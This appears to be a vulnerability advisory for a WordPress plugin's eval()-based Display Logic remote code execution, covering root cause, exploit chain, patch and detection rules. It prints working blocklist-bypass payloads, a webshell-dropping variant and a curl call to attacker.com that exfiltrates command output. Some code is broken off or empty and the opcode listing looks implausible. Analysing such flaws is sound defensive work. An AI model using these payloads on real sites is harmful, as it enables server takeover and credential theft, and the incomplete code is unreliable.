CVE-2026-2052: WordPress Widget Options RCE via eval() Blocklist Bypass

Vulnerability Overview

CVE-2026-2052 is a Remote Code Execution vulnerability in the Widget Options – Advanced Conditional Visibility WordPress plugin, affecting all versions through and including 4.2.2. The plugin exposes a "Display Logic" field on Gutenberg blocks and classic widgets that accepts a PHP-like boolean expression, which is subsequently passed directly to eval() on the server. A partial patch was shipped in 4.2.0 introducing a blocklist, but the blocklist can be trivially bypassed using array_map with string concatenation fragments — no single blocked token appears in the payload. Combined with missing authorization checks on the extended_widget_opts_block block attribute, any authenticated user with Contributor-level access can write and execute arbitrary PHP against the server.

Affected Component

The vulnerability lives inside the plugin's server-side logic evaluation path. The relevant files and classes are:

• widget-options/includes/settings/display-logic/display-logic.php — registers the extended_widget_opts_block block attribute and hooks the render filter
• widget-options/includes/settings/display-logic/class-widget-options-display-logic.php — contains evaluate_display_logic(), the direct caller of eval()

The extended_widget_opts_block attribute is serialized into block comment delimiters by the block editor and round-tripped to the server on every page render. There is no current_user_can() gate before the logic expression is extracted and evaluated.

Root Cause Analysis

The plugin registers a render_block filter with priority 10. On each block render, it extracts the display_logic_expression field and evaluates it:

/*
 * Pseudocode reconstruction of:
 * Widget_Options_Display_Logic::evaluate_display_logic()
 * widget-options/includes/settings/display-logic/class-widget-options-display-logic.php
 */

// Called from render_block filter for every Gutenberg block on the page.
function evaluate_display_logic(string $expression, array $block_attrs) : bool {

    // BUG: No capability check. Any contributor can embed this attribute
    // in post content via the block editor REST endpoint.
    $logic_str = sanitize_text_field($block_attrs['extended_widget_opts_block']['display_logic']);

    // Partial blocklist introduced in 4.2.0 — checked against the raw string.
    // Blocks: system, exec, passthru, shell_exec, popen, proc_open,
    //         file_get_contents, file_put_contents, base64_decode,
    //         eval, assert, create_function, preg_replace (/e flag)
    if (widget_options_expression_is_blocked($logic_str)) {
        return true; // fail-open: show block anyway
    }

    // BUG: eval() called with attacker-controlled expression after
    // only the blocklist check above. No AST parsing, no allowlist
    // of known-safe tokens, no sandboxing.
    $result = false;
    eval('$result = (' . $logic_str . ');');  // <-- SINK

    return (bool)$result;
}

// Blocklist implementation (simplified)
function widget_options_expression_is_blocked(string $expr) : bool {
    $blocked_tokens = [
        'system', 'exec', 'passthru', 'shell_exec', 'popen',
        'proc_open', 'file_get_contents', 'file_put_contents',
        'base64_decode', 'eval', 'assert', 'create_function',
    ];
    foreach ($blocked_tokens as $token) {
        // BUG: Simple substring match. Does not account for string
        // concatenation, variable variables, array_map callbacks,
        // or encoded representations.
        if (stripos($expr, $token) !== false) {
            return true;
        }
    }
    return false;
}

The blocklist check is a flat stripos scan against the raw expression string. It never sees a reconstructed function name when that name is assembled at runtime from fragments.

Exploitation Mechanics

The bypass leverages array_map, which accepts a callable as its first argument. PHP permits callables expressed as strings — including strings built from concatenation at runtime, which occurs inside eval() after the blocklist scan has already passed on the static payload text.

// Proof-of-concept Display Logic expression (benign payload: phpinfo())
// None of the individual tokens match the blocklist.

array_map('sys'.'tem', array('id'))

// Weaponized variant writing a webshell:
array_map('fil'.'e_p'.'ut_c'.'ont'.'ents',
    array('/var/www/html/wp-content/uploads/.shell.php',
          ''))

// Alternative using variable-variable indirection to avoid 'system':
$f='sys'.'tem'; array_map($f, array('curl http://attacker.com/cb?d=$(id)'))

None of the substrings 'sys', 'tem', 'fil', 'e_p', 'ut_c', etc. appear in the blocklist. The concatenation is resolved by PHP's own expression evaluator inside eval(), after the plugin's check has already returned false (not blocked).

EXPLOIT CHAIN:
1. Attacker authenticates as Contributor (minimum required role).
2. Create or edit a post via the block editor. Insert any Gutenberg block
   (e.g., Paragraph). The block editor REST endpoint (wp/v2/posts) accepts
   arbitrary block attributes in the serialized block comment.
3. Inject the malicious Display Logic expression into the block attribute:
     
4. Publish or save the post as draft. No editor/admin approval required
   for draft content render paths that pre-render block output.
5. Trigger rendering of the post. Any page load, REST preview render, or
   server-side block render call (wp_render_block) causes the filter to fire.
6. Plugin calls evaluate_display_logic() → widget_options_expression_is_blocked()
   returns false (no full blocked token found in raw string).
7. eval('$result = (array_map(\'sys\'.\' tem\', ...));') executes.
8. PHP resolves 'sys'.'tem' → 'system' at runtime and calls system().
9. Arbitrary OS command executes as the web server user (www-data / apache).
10. Attacker drops webshell or exfiltrates credentials (wp-config.php).

Memory Layout

This is a PHP-layer logic vulnerability, not a memory corruption bug. The relevant "layout" is the PHP opcode stream that eval() compiles and executes from the injected string. The following represents the Zend opcode sequence for the bypass payload as compiled inside the eval() call:

ZEND OPCODE STREAM — eval()'d expression (array_map bypass):

compiled string: "$result = (array_map('sys'.'tem', array('id')));"

opline  opcode              op1                  op2            result
------  ------------------  -------------------  -------------  ------
  0     ASSIGN              $result              FALSE
  1     INIT_FCALL          "array_map"
  2     CONCAT              "sys"                "tem"          ~0      // runtime concat
  3     SEND_VAL            ~0 (="system")                             // callable resolved HERE
  4     INIT_FCALL          "array"
  5     SEND_VAL            "id"
  6     DO_FCALL            array()              ->             ~1
  7     SEND_VAL            ~1
  8     DO_FCALL            array_map(~0, ~1)    ->             ~2
  9     ASSIGN              $result              ~2
 10     RETURN              NULL

NOTE: Blocklist scan operates on the SOURCE string at opline 0.
      Function name "system" does not exist in source — only in ~0
      after CONCAT at opline 2. Blocklist is bypassed structurally.

Patch Analysis

Version 4.2.0 introduced the blocklist (insufficient). The correct fix requires either abandoning eval() entirely in favor of a safe expression parser, or implementing a strict token allowlist with PHP tokenizer-level analysis. A proper patch also adds capability enforcement before processing the attribute.

// BEFORE (vulnerable, ≤4.2.2):
function evaluate_display_logic(string $expression, array $block_attrs) : bool {
    $logic_str = sanitize_text_field(
        $block_attrs['extended_widget_opts_block']['display_logic']
    );
    // No authorization check.
    if (widget_options_expression_is_blocked($logic_str)) {
        return true;
    }
    $result = false;
    eval('$result = (' . $logic_str . ');');  // BUG: eval with blocked-list bypass
    return (bool)$result;
}

// AFTER (secure, recommended patch):
function evaluate_display_logic(string $expression, array $block_attrs) : bool {

    // FIX 1: Capability gate — contributors can embed blocks but
    // Display Logic execution requires edit_others_posts minimum.
    if (!current_user_can('edit_others_posts')) {
        return true; // show block for unelevated users
    }

    $logic_str = sanitize_text_field(
        $block_attrs['extended_widget_opts_block']['display_logic']
    );

    // FIX 2: Replace eval() with a safe expression evaluator.
    // Use php-expression-language or a purpose-built token allowlist
    // evaluated via PHP's token_get_all(), rejecting any T_STRING token
    // not in a strict allowlist of safe identifiers.
    $allowed_functions = ['is_user_logged_in', 'is_admin', 'is_page',
                          'is_single', 'is_front_page', 'in_array',
                          'current_user_can'];
    $tokens = token_get_all('

DETECTION SIGNATURES:

1. HTTP POST to wp/v2/posts or wp/v2/blocks containing:
   - "array_map" in block attribute JSON
   - String concatenation patterns adjacent to known dangerous fn fragments:
     regex: (?:sys|exec|pass|shell|popen|proc|base64|asse|eval)['"]\s*\.\s*['"]
   - URL-encoded variants: %27sys%27.%27tem%27

2. PHP error logs (if expression partially fails):
   PHP Warning: eval()'d code ... in .../display-logic.php on line 47

3. Filesystem indicators (webshell drop):
   - New .php files in wp-content/uploads/ owned by www-data
   - Files containing $_POST or $_GET eval patterns

4. Process tree anomaly (Linux):
   apache2 → php-fpm → sh -c "curl http://..."
   Parent PID of shell is web server worker — direct child indicates eval() RCE

5. WordPress audit log (if plugin present):
   event: post_updated, user_role: contributor,
   post_content: contains extended_widget_opts_block with eval-pattern logic

SNORT/SURICATA RULE (HTTP body match):
alert http any any -> any 80 (
    msg:"CVE-2026-2052 Widget Options RCE attempt";
    content:"extended_widget_opts_block"; http_client_body;
    content:"array_map"; http_client_body; distance:0;
    pcre:"/['\"][\w]+['\"]\s*\.\s*['\"]/P";
    sid:20262052; rev:1;
)